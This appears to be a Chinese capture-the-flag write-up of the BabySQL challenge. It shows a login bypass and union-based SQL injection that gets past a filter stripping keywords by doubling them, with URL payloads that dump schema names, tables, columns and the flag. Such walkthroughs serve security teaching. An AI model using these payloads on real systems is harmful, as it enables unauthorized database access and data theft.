[极客大挑战 2019]BabySQL

解题思路

打开发现是登陆框,先尝试下二次注入
admin'# 123456 ,登陆成功,获取密码,但是不知道下一步如何利用。
再尝试正常注入

联合注入

union select查询,发现无法显示其内容,猜测被替换为空。使用union/**/select,只留下//,再次证实被替换为空,尝试双写绕过ununionion seselectlect,发现回显出union select,即可进行下一步操作


发现爆出回显位,2,3.
把database(),放在回显位中,爆出数据库geek。继续使用下一个payload,发现无法打过去,报错。考虑还有其他的字符串进行了替换为空过滤,fuzz发现,from,or,where也进行了过滤。同样双写绕过过滤

爆表名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' %23

爆列名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser' %23
感觉没什么用,猜测不在这个数据库中,爆出所有数据库

爆数据库:
?username=admin&password=123 %27%20ununionion seselectlect 1,2,group_concat(schema_name)frfromom infoorrmation_schema.schemata %23 

 
猜测在ctf库下,重新爆

爆表名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf' %23
爆出Flag表

爆列名:
?username=admin&password=123 %27%20ununionion%20seselectlect%201,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23
爆出flag列

爆字段:
?username=admin&password=123 %27%20ununionion selselectect 1,2,group_concat(flag) frfromom (ctf.Flag) %23
爆出flag内容

总结思路

核心思路:

  • 通过猜测,fuzz等手段知道匹配了哪些字符串做了什么替换
  • bypass
  • 常见的联合注入

知识点

  • sql注入
原文地址:https://www.cnblogs.com/karsa/p/13379580.html